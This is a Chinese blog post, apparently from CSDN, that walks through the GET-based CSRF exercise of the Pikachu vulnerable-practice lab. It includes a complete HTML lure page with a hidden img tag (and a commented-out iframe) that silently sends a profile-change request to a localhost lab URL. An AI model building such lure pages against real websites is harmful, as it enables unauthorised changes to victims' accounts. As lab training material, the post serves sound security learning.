pikachu-csrf

最新推荐文章于 2024-05-26 08:00:00 发布

L1s4

最新推荐文章于 2024-05-26 08:00:00 发布

阅读量197

点赞数

分类专栏： pikachu

本文链接：https://blog.csdn.net/baidu_39504221/article/details/110123311

版权

pikachu 专栏收录该内容

12 篇文章 0 订阅

订阅专栏

CSRF(get) login

用kobe/123456登录后，来到修改个人信息页面
submit后抓包
在这里插入图片描述
发现他是用get请求发起的，那我们就可以构造一个链接让受害者来点击（受害者账号是登录状态），以达到修改他信息的目的

例如：构造一个html诱使受害者点击后，就会改变他的性别为hack

<html>
    <head>
        <title>
            test
        </title>
    </head>
    <body>
        <!-- <iframe src="http://localhost//pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&submit=submit" frameborder="0" width="0" heigth="0"/> -->
        <img src="http://localhost//pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&submit=submit"/>
    </body>
</html>

也可以把链接放到iframe标签里，我这里是放到了img标签
实验：
一开始性别是boy
在这里插入图片描述
打开上面写好的test.html

再刷新用户信息页面

我的本地测试因为Chrome的安全策略并没有成功，

我是直接打开源码点击链接实验的

L1s4

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
pikachu-csrf

CSRF(get) login用kobe/123456登录后，来到修改个人信息页面submit后抓包发现他是用get请求发起的，那我们就可以构造一个链接让受害者来点击（受害者账号是登录状态），以达到修改他信息的目的例如：构造一个html诱使受害者点击后，就会改变他的性别为hack<html> <head> <title> test </title> </head>
复制链接

扫一扫

专栏目录